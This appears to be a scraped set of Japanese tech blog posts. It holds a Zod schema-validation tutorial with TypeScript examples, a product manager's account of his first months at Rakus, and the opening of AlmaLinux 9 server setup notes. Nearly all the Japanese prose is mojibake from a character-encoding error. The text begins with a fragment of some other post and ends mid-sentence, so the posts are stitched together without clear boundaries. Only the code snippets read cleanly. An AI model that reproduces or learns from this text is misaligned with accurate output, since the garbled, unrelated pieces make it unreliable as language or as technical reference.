ç®ãè¶³ããŠãªããšæããã) ã§ããããŸã 30ç¹çãªã®ã§ãæãåã£ãŠåºããŸããããåŸã§åãã°ãããšæã£ãŠãŸãã ç¶ãã¯åŸç·šãž... æžãåºãããé·ããªã£ãŠããŸããŸããããã ç¶ãã¯æ¬¡åã®åŸç·šã«èšèŒããŸãã
ã¯ããã« ããã«ã¡ã¯ãããã³ããšã³ãéçºèª²ã«æå±ããŠããæ°å1幎ç®ã®m_you_sanãšç³ããŸãã å®åã§Zodãäœ¿ãæ©äŒãå€ãã®ã§ãåºæ¬ããçè§£ããããšæãã ãã¥ãŒããªã¢ã« ã«åãçµãã§ã¿ãŸããã ä»åã¯Zodã®åºæ¬ã«ã€ããŠã ãã¥ãŒããªã¢ã« ã®ã³ãŒãã亀ããŠè§£èª¬ããããšæããŸãã ã¯ããã« Zodãšã¯ Zodã®ãã¥ãŒããªã¢ã«ã«ã€ã㊠ããªããã£ãåã®æ€èšŒïŒãã¥ãŒããªã¢ã«01ïŒ ãªããžã§ã¯ãã®æ€èšŒïŒãã¥ãŒããªã¢ã«02ïŒ é
åã®æ€èšŒïŒãã¥ãŒããªã¢ã«03ïŒ ã¹ããŒãããåãçæïŒãã¥ãŒããªã¢ã«04ïŒ ãªãã·ã§ãã«ïŒãã¥ãŒããªã¢ã«05ïŒ ããã©ã«ãå€ãèšå®ããïŒãã¥ãŒããªã¢ã«06ïŒ ãŠããªã³åã®æ€èšŒïŒãã¥ãŒããªã¢ã«07ïŒ ç¹å®ã®æ¡ä»¶ãæºãããŠãããæ€èšŒããïŒãã¥ãŒããªã¢ã«08ïŒ ã¹ããŒãã®æ¡åŒµïŒãã¥ãŒããªã¢ã«09ïŒ ããªããŒã·ã§ã³ååŸã§å€ã倿ããïŒãã¥ãŒããªã¢ã«10ïŒ ç¬èªã®ããªããŒã·ã§ã³ãã§ãã¯ãè¡ãïŒãã¥ãŒããªã¢ã«11ã12ïŒ ååž°çãªã¹ããŒãã宣èšããïŒãã¥ãŒããªã¢ã«13ïŒ ãžã§ããªã¯ã¹ïŒãã¥ãŒããªã¢ã«14ïŒ ãŸãšã Zodãšã¯ Zodãšã¯ã端çã«èšããštypescriptãã¡ãŒã¹ãã® ã¹ããŒã 宣èšåã³ããªããŒã·ã§ã³ã©ã€ãã©ãªã§ãã Zodã¯typescriptã®åã·ã¹ãã ãæŽ»çšããŠããã©ãŒã ã®å
¥åå€ãªã©ã¢ããªã±ãŒã·ã§ã³ã§æ±ãããŒã¿ãã宣èšãã ã¹ããŒã ã«æ²¿ã£ãŠããããæ€èšŒããããšãã§ããŸãã ãŸããåŸã§è§£èª¬ããŸãããZodã§ã¯ ã¹ããŒã ããåãçæã§ãããšãã䟿å©ãªæ©èœããããŸãã äžå¿ãåãããªãšãŒã·ã§ã³ã©ã€ãã©ãªã® Yup ã§ãã ã¹ããŒã ããåçæã¯è¡ããŸãã åæšè« ã匱ããšãããŠããŸãã äžæ¹ã§ãYupã¯Zodãšæ¯ã¹ãŠ API ãè±å¯ãšããé·æãããã®ã§ãã奜ã¿ã§äœ¿ãåãããšè¯ããšæããŸãã Zodã® ãã¥ãŒããªã¢ã« ã«ã€ã㊠ããããã ãã¥ãŒããªã¢ã« ã®ã³ãŒããäžéšæç²ããªãããZodåºæ¬ã«ã€ããŠè§£èª¬ããŸãã ãªãããã® ãã¥ãŒããªã¢ã« ã¯åé¡ã®ã³ãŒããäžããããŠããã¹ããéãããã«ä¿®æ£ãããšãã圢åŒã«ãªã£ãŠããŸãïŒå
šéšã§14åãããŸãïŒã æ°ã«ãªãæ¹ã¯ã ãã¡ã ãcloneããŠåãçµãã§ã¿ãŠãã ããã ããªããã£ãåã®æ€èšŒïŒ ãã¥ãŒããªã¢ã« 01ïŒ æãåºæ¬çãªäœ¿ãæ¹ã§ãã const numberParser = z. number (); export const toString = ( num: unknown ) => { const parsed = numberParser.parse ( num ); return String ( parsed ); } ; å§ãã«numberåãæåŸ
ããã ã¹ããŒã ã宣èšããŠããŸãã toString颿°ã§ã¯ãåŒæ°ã§æž¡ã£ãŠããunknownåã®numãparseã®åŒæ°ã«èšå®ããŠããŸãã ãã®parseã¯ãåŒæ°ã«æž¡ãããå€ãnumberParserãæåŸ
ããåãã€ãŸãnumberåã§ãã£ãå Žåã¯ããã®å€ãè¿ããããã§ãªãã£ãå Žåã¯ãšã©ãŒãè¿ããŸãã ãã®ããã1ã€ç®ã®ãã¹ãã§ã¯stringåã®"123"ãtoStringã«æž¡ãããã®ã§ããšã©ãŒãè¿ãããŸãã ãªããžã§ã¯ãã®æ€èšŒïŒ ãã¥ãŒããªã¢ã« 02ïŒ ãªããžã§ã¯ãã® ã¹ããŒã ã宣èšããéã¯ãz.objectã䜿çšããããããã£ã«ããããã ã¹ããŒã ãäœæããŸãã ãã¥ãŒããªã¢ã« ã®ã³ãŒãã§ã¯ã API ã®ã¬ã¹ãã³ã¹ã { name: string } ã«ãªã£ãŠããããæ€èšŒããŠããŸãã const PersonResult = z. object ( { name: z. string () } ); export const fetchStarWarsPersonName = async ( id: string ) => { const data = await fetch ( "https://www.totaltypescript.com/swapi/people/" + id + ".json" , ) .then (( res ) => res.json ()); const parsedData = PersonResult.parse ( data ); return parsedData.name ; } ; é
åã®æ€èšŒïŒ ãã¥ãŒããªã¢ã« 03ïŒ é
åã® ã¹ããŒã ãäœæãããšãã¯ãz.arrayã䜿çšããŸãã ãã¥ãŒããªã¢ã« ã®ã³ãŒãã§ã¯ã API ã®ã¬ã¹ãã³ã¹ã { results: { name: string }[] } ã®åœ¢ã«ãªã£ãŠããããæ€èšŒããŠããŸãã const StarWarsPerson = z. object ( { name: z. string (), } ); const StarWarsPeopleResults = z. object ( { results: z.array ( StarWarsPerson ) } ); export const fetchStarWarsPeople = async () => { const data = await fetch ( "https://www.totaltypescript.com/swapi/people.json" , ) .then (( res ) => res.json ()); const parsedData = StarWarsPeopleResults.parse ( data ); return parsedData.results ; } ; ã¹ããŒã ããåãçæïŒ ãã¥ãŒããªã¢ã« 04ïŒ Zodã§ã¯ãz.inferã®ååŒæ°ã« ã¹ããŒã ãæž¡ãããšã§ããã® ã¹ããŒã ããåãæšè«ããŠãåãçæããããšãã§ããŸãã ãã¥ãŒããªã¢ã« ã®ã³ãŒãã§ã¯ãStarWarsPeopleResultsããåãçæããŠãããããdataTypeã®å㯠{ results: { name: string }[] } ã«ãªããŸãã const StarWarsPerson = z. object ( { name: z. string (), } ); const StarWarsPeopleResults = z. object ( { results: z.array ( StarWarsPerson ), } ); type dataType = z.infer <typeof StarWarsPeopleResults > ãã®åçæã¯ãå®åã§ããã䜿ã£ãŠããããã©ãŒã ã®å
¥åå€ãæ€èšŒãã ã¹ããŒã ããåçæãããã®åã API ãªã¯ ãšã¹ ããéã颿°ã®åŒæ°ã®åã«ãããšãã£ããããªäœ¿ãæ¹ãããŠããŸãã //ãã©ãŒã ã®å
¥åå€ãæ€èšŒããã¹ããŒã const PersonSchema = z. object ( { name: z. string (), hometown: z. string (), } ); type PersonSchemType = z.infer <typeof PersonSchema >; const handleSubmit = ( formData: PersonSchemType ) => { //APIãªã¯ãšã¹ããªã©ã®åŠç } ãªãã·ã§ãã«ïŒ ãã¥ãŒããªã¢ã« 05ïŒ ãªãã·ã§ãã«ã§ ã¹ããŒã ãå®çŸ©ããéã¯ãoptionalã䜿çšããŸãã ãã¥ãŒããªã¢ã« ã®ã³ãŒãã§ã¯ã { name: string, phoneNumber?: string } ãæåŸ
ãã ã¹ããŒã ãå®çŸ©ããŠããŸãã phoneNumberããªãã·ã§ãã«ã«ãªã£ãããšã§ãvalidateFormInputã«nameã®ã¿ãæž¡ãããšããŠãããšã©ãŒãçºçããªããªããŸãã const Form = z. object ( { name: z. string (), phoneNumber: z. string () .optional (), } ); export const validateFormInput = ( values: unknown ) => { const parsedData = Form.parse ( values ); return parsedData ; } ; ããã©ã«ãå€ãèšå®ããïŒ ãã¥ãŒããªã¢ã« 06ïŒ ã¹ããŒã ã«ããã©ã«ãå€ãèšå®ããå Žåã¯ãdefaultã䜿çšããŸãã ãã¥ãŒããªã¢ã« ã§ã¯ãkeywordsã®ããã©ã«ãå€ã«ç©ºé
åãèšå®ããŠããŸãã const Form = z. object ( { repoName: z. string (), keywords: z.array ( z. string ()) . default( [] ), } ); ãŠããªã³åã®æ€èšŒïŒ ãã¥ãŒããªã¢ã« 07ïŒ ãŠããªã³åã® ã¹ããŒã ãäœæããéã¯ãz. enum ãããã¯z.unionã䜿çšããŸãã ãã¥ãŒããªã¢ã« ã®ã³ãŒãã§ã¯ã privacyLevel: "private" | "public" ãæåŸ
ãããŠããªã³åã® ã¹ããŒã ãå®çŸ©ããŠããŸãã ãã¹ããå®è¡ãããšãprivacyLevelã«privateãšpublic以å€ã®å€ãæž¡ããšãšã©ãŒãè¿ãããšãåãããŸãã ãã®ãŠããªã³åã® ã¹ããŒã å®çŸ©ã§ãããå®åã§ã¯ãã«ããŠã³ã¡ãã¥ãŒã®é
ç®ãæ€èšŒããéã«ããèŠãããŸãã const Form = z. object ( { repoName: z. string (), privacyLevel: z. enum( [ "private" , "public" ] ) //âã®æžãæ¹ã§ãå¯ //privacyLevel: z.union([z.literal("private"), z.literal("public")]) } ); ç¹å®ã®æ¡ä»¶ãæºãããŠãããæ€èšŒããïŒ ãã¥ãŒããªã¢ã« 08ïŒ æå°å€ãæå€§å€ãªã©ç¹å®ã®æ¡ä»¶ãæºãããŠããããæ€èšŒããæ¹æ³ã§ãã ãã® ã¹ããŒã ã¯ãnameã«æäœ1æåãphoneNumberã«5æå以äž20æå以äžãemailã«ãx@x.xãã®åœ¢åŒã website ã«ãfuga:// hoge ãã®åœ¢åŒãæåŸ
ãããã®ã§ãã ãã¹ãã確èªãããšãæ¡ä»¶ãæºãããŠããªããšãšã©ãŒãè¿ãããšãåãããŸãã const Form = z. object ( { name: z. string () .min ( 1 ), phoneNumber: z. string () .min ( 5 ) .max ( 20 ) .optional (), email: z. string () .email (), website: z. string () .url () .optional (), } ); ã¹ããŒã ã®æ¡åŒµïŒ ãã¥ãŒããªã¢ã« 09ïŒ äžåºŠå®çŸ©ãã ã¹ããŒã ã¯ãextendãmergeã䜿çšããŠæ¡åŒµãããããšãã§ããŸãã const ObjectWithId = z. object ( { id: z. string () .uuid (), } ); const User = ObjectWithId.extend ( { name: z. string (), } ); const Post = ObjectWithId.merge ( z. object ( { title: z. string (), body: z. string (), } ), ); ããªããŒã·ã§ã³ååŸã§å€ã倿ããïŒ ãã¥ãŒããªã¢ã« 10ïŒ Zodã§ã¯ãããªããŒã·ã§ã³ååŸã§å€ã倿ããããšãã§ããŸãã ãã¥ãŒããªã¢ã« ã®ã³ãŒãã§ã¯ãtransformã䜿ã£ãŠããªããŒã·ã§ã³åŸã«å€ã倿ããŠããŸãã å
·äœçã«ã¯ãparseã«æž¡ããŠããdataãStarWarsPeopleResultsã§æåŸ
ããŠããåïŒ { result: { name: string }[] } ïŒã ã£ãå Žåã { results: [ { name: "foo hoge", nameAsArray: ["foo", "hoge"] } ] } ã®ãããªåœ¢ ã§è¿åŽãããšããæµãã«ãªã£ãŠããŸãã const StarWarsPerson = z. object ( { name: z. string (), } ) .transform (( person ) => ( { ...person , nameAsArray: person.name.split ( " " ) } )); const StarWarsPeopleResults = z. object ( { results: z.array ( StarWarsPerson ), } ); export const fetchStarWarsPeople = async () => { const data = await fetch ( "https://www.totaltypescript.com/swapi/people.json" , ) .then (( res ) => res.json ()); const parsedData = StarWarsPeopleResults.parse ( data ); return parsedData.results ; } ; ç¬èªã®ããªããŒã·ã§ã³ãã§ãã¯ãè¡ãïŒ ãã¥ãŒããªã¢ã« 11ã12ïŒ Zodã§ã¯ãrefineã䜿ãããšã§ç¬èªã®ããªããŒã·ã§ã³ãã§ãã¯ãäœæããããšãã§ããŸãã refineã¯parseãå®è¡ããéã«ãæ¡ä»¶åŒãfalseã®å Žåããšã©ãŒãè¿ããŸãã ãã¥ãŒããªã¢ã« 11ã®ã³ãŒãã§ã¯ãpasswordãšconfirmPasswordãäžäžèŽã®å Žåããšã©ãŒã¡ãã»ãŒãžãè¿ããšãã圢ã«ãªã£ãŠããŸãã refineã¯çžé¢ãã§ãã¯ãè¡ãéã«ãã䜿ãããŠããå°è±¡ã§ãã const Form = z. object ( { password: z. string (), confirmPassword: z. string (), } ) .refine (( { password , confirmPassword } ) => password === confirmPassword , { message: "Passwords don't match" } ); ãŸãrefineã¯ã ãã¥ãŒããªã¢ã« 12ã®ããã«ãéåæé¢æ°ãæž¡ãããšãã§ããŸãã doesStarWarsPersonExistã¯ãparseAsyncã«æž¡ãããidã§ API ãå©ããdataããã£ãå Žåã¯trueãè¿ãããªãã£ãå Žåã¯falseãè¿ããŸãã doesStarWarsPersonExistãfalseã®å Žåãrefineã¯ãšã©ãŒã¡ãã»ãŒãžã®Not Foundãè¿ããŸãã const doesStarWarsPersonExist = async ( id: string ) => { try { const data = await fetch ( "https://www.totaltypescript.com/swapi/people/" + id + ".json" , ) .then (( res ) => res.json ()); return Boolean ( data?.name ); } catch ( e ) { return false ; } } ; const Form = z. object ( { id: z. string () .refine ( doesStarWarsPersonExist , { message: "Not found" } ), } ); export const validateFormInput = async ( values: unknown ) => { const parsedData = await Form.parseAsync ( values ); return parsedData ; } ; ååž° ç㪠ã¹ããŒã ã宣èšããïŒ ãã¥ãŒããªã¢ã« 13ïŒ ååž° ç㪠ã¹ããŒã ã宣èšããå Žåãlazyã䜿çšããŸãã lazyã®ã¿ã ãšMenuItemãanyåã«ãªããããå°ãæéãããããŸãããæåã§MenuItemTypeãå®çŸ©ããŠããã®åæ
å ±ãMenuItemã«æž¡ãå¿
èŠããããŸãã interface MenuItemType { link: string ; label: string ; children?: MenuItemType [] ; } const MenuItem: z.ZodType < MenuItemType > = z.lazy (() => z. object ( { link: z. string (), label: z. string (), children: z.array ( MenuItem ) . default( [] ), } ) ) ãžã§ããªã¯ã¹ ïŒ ãã¥ãŒããªã¢ã« 14ïŒ ã¹ããŒã ã ãžã§ããªã¯ã¹ ã§æž¡ãããå Žåã¯ã ãžã§ããªã¯ã¹ ã®åã« extends ZodSchema ïŒ extends ZodTypeAny ã§ãå¯ïŒã§å¶çŽãå ããŸãã ãã¥ãŒããªã¢ã« ã®ã³ãŒãã§ã¯ã ãžã§ããªã¯ã¹ ã§æž¡ãã ã¹ããŒã ãããz.inferã§åãçæããŠãæ»ãå€ã®åã«ããŠããŸãã const genericFetch = < TSchema extends z.ZodSchema >( url: string , schema: TSchema ) : Promise < z.infer < TSchema >> => { return fetch ( url ) .then (( res ) => res.json ()) .then (( result ) => schema.parse ( result )); } ; ãŸãšã ãã¥ãŒããªã¢ã« ã®ã³ãŒãã亀ããŠãZodã®åºæ¬ã«ã€ããŠç޹ä»ãããŠããã ããŸããã ååž° ç㪠ã¹ããŒã 宣èšã ãžã§ããªã¯ã¹ ãªã©ãããå¿çšçãªéšåããããŸããããç§èªèº«ã ãã¥ãŒããªã¢ã« ãéããŠãåºæ¬çãªéšåã¯ãããããšãã§ãããšæã£ãŠããŸãã ä»åã¯ç޹ä»ããŸããã§ããããZodã¯React Hook Formãšçµã¿åãããããšãã§ããã®ã§ãæ°ã«ãªãæ¹ã¯ãã¡ãã®èšäºãæ¯éèªãã§ã¿ãŠãã ããã tech-blog.rakus.co.jp
æ¬èšäºã®ã¿ãŒã²ãã è»¢è·æŽ»åäžã®PdMã®æ¹ PdMãžã®ãã£ãª ã¢ãã§ ã³ãžãæ€èšããŠããæ¹ ã©ã¯ ã¹ãžã®å
¥ç€Ÿãæ€èšããŠããæ¹ ã¯ããã« ããã«ã¡ã¯ã楜楜粟ç®ãããã¯ããããŒãžã£ãŒïŒä»¥äžPdMïŒã®Shibaãšç³ããŸãã 2023幎5æã« ã©ã¯ ã¹ã«å
¥ç€ŸããŠãå幎以äžãçµéããŸããã PdMãšããè·çš®ã¯äŒç€Ÿæ¯ã§åœ¹å²ã責任ç¯å²ãç°ãªããŸãã ãã®ããã転è·åŸã®æ¥åã¯å€ãã®äººãæ°ã«ãªããã€ã³ãããšæããŸãã ã©ã¯ ã¹ã«å
¥ç€ŸããŠç§ããã£ãŠããããšãšæ°ä»ããå
±æããããšã§ã ã©ã¯ ã¹ãžã®è»¢è·ãèããŠããæ¹ã®åèã«ãªãã°ãšæãæ¬èšäºãæžãããšã«ããŸããã æ³šæ å
¥ç€Ÿè
ã®å¿åãã¹ãã«/çµéšã«åºã¥ããŠé©åãªåœ¹å²ã ã¢ãµã€ ã³ããä»çµã¿ã ã©ã¯ ã¹ã«ã¯ãããšæããŸãã å
šå¡ãåãæµãã§åãæ¥åãããããšã¯ãªããšããç¹ã¯ãäºæ¿ãã ããã ãŸããæé軞ã¯è¥å¹²ææ§ãªãšããããããŸãã æ¬èšäºã®ã¿ãŒã²ãã ã¯ãã㫠泚æ ç§ã®ããã¯ã°ã©ã³ããšè»¢è·çç± å
¥ç€ŸåŸã«æããèªèº«ã®ã¹ãã«ãšã®ã®ã£ãã å
¥ç€ŸåŸã®æ¥å å
¥ç€Ÿ1ã«æç® å
¥ç€Ÿ2ïœ3ãæç® å
¥ç€Ÿ4ãæç®ïœçŸåš ãããã« ç§ã®ããã¯ã°ã©ã³ããšè»¢è·çç± åè·ã¯æ°åã§å
¥ç€ŸããäŒç€Ÿã§BtoB SaaS ã®ã¯ãŒã¯ãããŒãããã¯ãã«çŽ7å¹Žéæºãã£ãŠããŸããã ãšã³ãžãã¢ãããã£ãªã¢ãã¹ã¿ãŒãããŠããããžã§ã¯ããããŒãžã£/ãããã¯ããããŒãžã£/ã«ã¹ã¿ããŒãµããŒã/ããªã»ãŒã«ã¹ãªã© ãããã¯ãã®æé·ã«å¿
èŠãªããšã¯äœã§ãçµéšãããŠããããŸãããéåžžã«æé·ã§ãããšå®æããããŸãã ãããªäžã30æ³ãç®åã«ããã£ãš ãããã¯ããããžã¡ã³ã ã«ç¹åããã¹ãã«ã䌞ã°ãããããšããæãããPdMãžã®è»¢è·ã決æããŸããã ãŸããªããšãªããè¥ããã¡ã«è»¢è·ãçµéšããŠããããããšããæµ
ãçç±ããã£ããããããŸããã æ¥œæ¥œç²Ÿç®ã¯ARR100å以äžã环èšå°å
¥ç€Ÿæ°ã15,000瀟ãè¶
ããŠããŸãã åœå
ãããã·ã§ã¢ã®ãããã¯ãã«é¢ããããšãåºæ¥ããšããã®ã¯ç§ã«ãšã£ãŠéåžžã«é
åçãªãã€ã³ãã§ããã ïŒ ã©ã¯ ã¹ãéžãã çç±ã¯ããŸãæ·±æãããŸããïŒ å
¥ç€ŸåŸã«æããèªèº«ã®ã¹ãã«ãšã®ã®ã£ãã 1. èšèªå ããå åè·ã§ã¯èª²é¡ã®ç¹å®ïœèšèš/éçº/ãã¹ã/ãªãªãŒã¹ãŸã§ãã¹ãŠãæ
åœããŠããŸããã èªåã®é ã®äžã§ã¯ãªãããããã¹ããããªã«ããã¹ããã®æ
å ±ãããããããããšã«ãããã¯ãéçºãè¡ã£ãŠããŸããã ããã ã©ã¯ ã¹ã¯èŠæš¡ïŒé¡§å®¢æ°ãã¹ããŒã¯ãã«ãæ°ãéçº å·¥æ° ãªã©ïŒã倧ããããã圹å²åæ
ã«ãã£ãŠãããã¯ãéçºãæãç«ã£ãŠããŸãã æã
PdMã®åœ¹å²ã¯èª²é¡ã®ãWhyããWhatããæç¢ºã«ããŠãé©åãªèª²é¡ã«é©åãªã¢ãããŒããããããšãåºæ¥ãããã«ããããšã ãšèããŠããŸãã ãã®ãWhyããWhatãã誰ãèŠãŠãçè§£ã§ãããããªåœ¢ã§ã¢ãŠããããããçŽåŸããŠãããããã®èœåã¯ãŸã ãŸã 䌞ã°ããŠããå¿
èŠããããšæããŠããŸãã 2.æèã®éçã®æŽç ã·ãã¢PdMãšäžç·ã«ä»äºããããšçæããéšåã§ãã ç§ã¯ç©äºãæŽçããæãããããæ
å ±ãéããããããå¿
èŠãªæ
å ±ã®åæšéžæãã¹ããŒãªãŒã®æ§ç¯ãè¡ã£ãŠããã¹ã¿ã€ã«ã ãšèªèªããŠããŸãã 察ç
§çã«ãçµè«ã«åããŠã¹ããŒãªãŒãæ§ç¯ããå¿
èŠæäœéã®æ
å ±ãéãããã¿ãŒã³ã®äººãããŸãã ïŒãã®ã¿ã€ãã®äººãé ã®äžã§æ
å ±ãæŽçãåæšéžæããŠãããšæããŸãããé ã®äžã¯ããããªãïŒ ãã®éãã§çããå·®ã¯ã倧ããã¯ã¹ããŒãæã§ãã æ
å ±ã MECE ã«æŽçãããè«ççã«ããããããªãã¹ããŒãªãŒãã¹ããŒãæããã£ãŠçµã¿ç«ãŠãèœåã¯å€åã®æ©ãæä»£ã«ãããŠäŒžã°ããŠããå¿
èŠããããšèããŠããŸãã å
¥ç€ŸåŸã®æ¥å å
¥ç€Ÿ1ã«æç® ã¯ããã®1ã«æã¯ä»¥äžã®ãããªæ¥åã«å¿
èŠãªæ
å ±ã®ã€ã³ããããè¡ããŸããã äºæ¥ã»çµç¹ã®æ¹é ãããã¯ãããŒãããããKPIãªã©ãããã¯ãæ¹é ãããã¯ãïŒãããã¯ãã®äŸ¡å€ã仿§ïŒ æ³/å¶åºŠïŒäž»ã« ã€ã³ãã€ã¹ å¶åºŠã é»å垳簿ä¿åæ³ ïŒ çµç ãã¡ã€ã³ ç¥è çµç¹å
ã®åœ¹å²åæ
åçš®æ¥åããã»ã¹ ã·ã¹ãã æ§æãç°å¢æ
å ± ç«¶å/åžå Žã®æ
å ± ç§ã®æå±ããã補å管ç課ãã§ã¯ãªã³ããŒãã£ã³ã°è³æãæŽçãããŠãããç¹ã«éèŠãªæ
å ±ã«é¢ããŠã¯ããããåç
§ããããšãåºæ¥ãããã«ãªã£ãŠããŸãã è³æããããããªããšããã¯ãã€ã³ã¿ãŒããããæžç±ãäžåžãšã®1on1ãéããŠçè§£åºŠãæ·±ããŠãããŸããã ç¹ã« ãã¡ã€ã³ ç¥èãšããã®ã¯ãã®è³æãèªãã°çè§£ã§ãããšãããããªãã®ã¯ãªããå®éã®æ¥å/äœæ¥ã¬ãã«ãŸã§çè§£ããå¿
èŠããããŸãã ãããã¯ããè§Šãæ¥åãäœéšããããšã§ããçšåºŠã¯çè§£ããããšãåºæ¥ãŸããã æ©èœããéç®ããæ¥åãããŒã§ã¯ãå®åã¬ãã«ãŸã§è§£å床ãé«ããã¯é£ããããã ãã®æ®µéã§ã¯ãæ¥åã®ã€ã¡ãŒãžãåºæ¥ãããçšèªãçè§£ã§ããããªã©å®æ§çãªç®æšãå®ããŠåŠç¿ããããã«ããŸããã æ
å ±ãå€ããããããã«ãèªç¥è² è·ããããäœãã©ããŸã§çè§£ããããšããç¹ã¯éåžžã«æ©ã¿ãŸãããã èªåã®ãã£ããšèªåã®çæ³ã®æãåããã€ããããšã倧äºã§ãã ãŸããåå å¯èœãªäŒè°ã«ã¯åºåžããããã«ããŸããã ã¹ããŒã¯ãã«ã/ããŒãã³ã®ææ¡ãã©ã®ãããªæææ±ºå®ãè¡ãããŠãããã¯æ©ãã«ãã£ããã¢ãããã ãªãã¹ãã¹ã ãŒãºã«å®åãéå§ã§ããããæºåããŸããã â å
¥ç€Ÿ2ïœ3ãæç® 2ã«æç®ããã¯å®éã®é¡§å®¢èª²é¡ã«å¯ŸããŠããããã¯ã ããã¯ãã° ã¢ã€ãã ïŒä»¥äžPBIïŒã®çå®ãéå§ããŸããã PBIã¯äºæ¥éšãšã®èª²é¡/解決çã®æŠãåããã»éçºããŒã ã§ã®æŠç® å·¥æ° ã®èŠç©ããã»PRDïŒè£œåèŠæ±ä»æ§ïŒã®ã€ã³ãããã«ãå©çšãããéèŠãªæ
å ±ã§ãã æ¥œæ¥œç²Ÿç®ã®PBIã«ã¯ä»¥äžã®ãããªæ
å ±ãå«ãŸããŸãã 財å广 誰ã®ã©ããªæ¥åã®ã©ããªèª²é¡ ã©ãããã°ãã®èª²é¡ã解決ã§ããã®ã AsIs/ToBeã®æ¥åãã㌠楜楜粟ç®ã§ã¯ã«ã¹ã¿ããŒãµã¯ã»ã¹ïŒCSïŒãåéãã顧客ã®å£°ïŒVoCïŒã1ãæã«éçŽãããŠãããéçºãµã€ããåžžã«ç¢ºèªãã§ããããã«ãªã£ãŠããŸãã PBIäœæã§æ³šæãã¹ãã¯ãVoCã®äžã«ã¯èª²é¡ã ãã§ã¯ãªããããã§ããããã«ããŠã»ããããšãã£ãèŠæãå€ãååšãããšããç¹ã§ãã ãã®èŠæéãã®æ©èœãå®çŸããã®ã§ã¯ãªããèæ¯ã«ãã課é¡ã«ç®ãåãæå°éã®ã³ã¹ãã§ãã®èª²é¡ã®è§£æ±ºçãèããããšå¿
èŠã§ãã ïŒèšã£ãŠããŸãã°ãæ¢åæ©èœã®éçšåé¿ãªã©ãææ¡ã§ããã°ããã§ãããïŒ èª²é¡/èŠæã瀟æ°ãçºçé »åºŠã粟床ã®é«ãç¶æ
ã§éãŸã£ãŠããããšã§ã ãªãªãŒã¹åŸã®å¹æã®äžç¢ºå®æ§ããŠãŒã¶èª¿æ»ã®å·¥çšãçç¥ãã¹ããŒãæããã£ãŠãªãªãŒã¹ããããšãã§ããŸãã®ã§ã ãã®ä»çµã¿ã¯éåžžã«åŒ·åãªä»çµã¿ã ãšæã£ãŠããŸãã åèïŒ ã©ã¯ ã¹ãšã³ãžãã¢ããã°ïŒ 楜楜粟ç®ã®æé·ãæ¯ããPBIåªå
床èšå®ã®çããšãã€ã³ã PRDäžéšContentsè§£çŠïŒæ¥œæ¥œç²Ÿç®ã®PRD(補åèŠæ±ä»æ§æž) Agenda å
¥ç€Ÿ4ãæç®ïœçŸåš 4ã«æç®ä»¥éããã¯å®æ¡ä»¶ïŒãªãªãŒã¹ã確å®ããŠããæ¡ä»¶ïŒã« ã¢ãµã€ ã³ãããPRDã®çå®ããšã³ãžãã¢ãäœæããæ©èœèŠæ±ãUXèšèšã®ã¬ãã¥ãŒãè¡ã£ãŠããŸãã ãŸããçŸåšã¯è£œåæŠç¥äžéèŠãªãããžã§ã¯ãã®æ¡ä»¶ã®å®çŸã«åããŠã 課é¡ã®æ·±å ã»ãŠãŒã¶èª¿æ»ã®èšèšïŒã€ã³ã¿ãã¥ãŒãã¢ã³ã±ãŒãã仮説æ€èšŒïŒã»ãœãªã¥ãŒã·ã§ã³ã®æ€èšãªã©ãPMMãšé£æºããŠè¡ã£ãŠãããã ã¢ãã€ã«ã¢ããªã®æ¡ä»¶ã«çæããããšæ
åœãããŠããããæ¥åç¯å²ãåºãã£ãŠããŸããã 顧客ãžã®äŸ¡å€æäŸã¯ãã¡ããã瀟å
ã§ã®æåŸ
ã«å¿ããããããã«èªåã®ã§ããããšãå¢ãããŠããããšæã£ã8ã«æéã§ããã ãããã« åèšãããããªå£²äžãå¥çŽç€Ÿæ°ãå€ããããã¯ããšãªããšã宿ãããããã¯ããšæãæ¹ãããã£ããããããããŸãããç§ã¯ããã§ããã ããããæ³æ¹æ£ã ITæè¡ ã®çºéãç«¶åãããã¯ãã®åºçŸã顧客æ¥åã®å€åãªã©ãããã¯ããåãå·»ãç°å¢ã¯æ¥ã
å€åããŠããŸãã ãããã«å¯Ÿå¿ããŠããããã«ã楜楜粟ç®ã§ã¯PdM人æãåŒãç¶ãåéããŠãããŸãã æ¯éãŸãã¯ã«ãžã¥ã¢ã«é¢è«ãããç³èŸŒã¿ããã ãããšå¹žãã§ãã ã©ã¯ã¹ ãšã³ãžãã¢æ¡çšãµã€ã ãããã¯ããããŒãžã£
ã¯ããã« CentOS8ç³»ãEOLïŒEnd Of LifeïŒãè¿ããé¢ä¿ã§ãå人çã«Almalinuxç³»ãè§Šãæ©äŒãå¢ããŠãããŸããã CentOS8ç³»ã®ä»£ãããšèãããšAlmalinuxãåæ§ã«ããŒãžã§ã³8ç³»ã䜿ããšããã®ãçŽ çŽãªãšããã§ããããã ããããªãããEOLããããŸãããAlmalinuxããŒãžã§ã³9ç³»ããªãªãŒã¹ãããŠãããŸãã®ã§ãAlmalinux9ç³»ã®ãµãŒããæ§ç¯ããŠã¿ãŸããã æ§ç¯ããŠã¿ãŠãæ°ã¥ããç¹(äž»ã«8ç³»ãšã®éã)ãããã€ãã玹ä»ããŸãã â»èª¿æ»äžè¶³ãªããšãããããšæããŸããæããèŠå®ã£ãŠãã ããã°å©ãããŸãã ã¯ããã« ã€ã³ã¹ããŒã«GUI selinuxã®ç¡å¹åã®æ¹æ³ãæžã£ãã»ã»ã» ä»®æ³ç°å¢äžïŒLVMïŒã§ã¹ãããã·ã§ããã䜿ã£ããªã¹ãã¢ããããšèµ·åããªãïŒïŒ ethernetã®åœåãå€ãã£ãã ããããªãã®ïŒïŒ æå³ãããã¡ã€ã«ã®ãã°ããŒããŒã·ã§ã³ããšã©âãããããã æåŸã« ã€ã³ã¹ããŒã« GUI CentOS7ãCentOS8/Almalinux8ç³»ãšæ¯ã¹ãŠãããŸãå·®ã¯æããŸããã§ããã ã¿ã€ã ãŸãŒã³ èšå®ç»é¢ã§å°åããã³ãã€ã³ãã§éžæã§ããããã«ãªã£ãŠãããããããªãšæããŸãã æ¥æ¬åå³¶ã®ããããªãšãããéžæã¯ã§ãããã®ã®æ±äº¬ã® ã¿ã€ã ãŸãŒã³ ã«ãªããŸãã selinux ã®ç¡å¹åã®æ¹æ³ãæžã£ãã»ã»ã» æè¿ã ãš selinux ã¯æå¹åããç¶æ
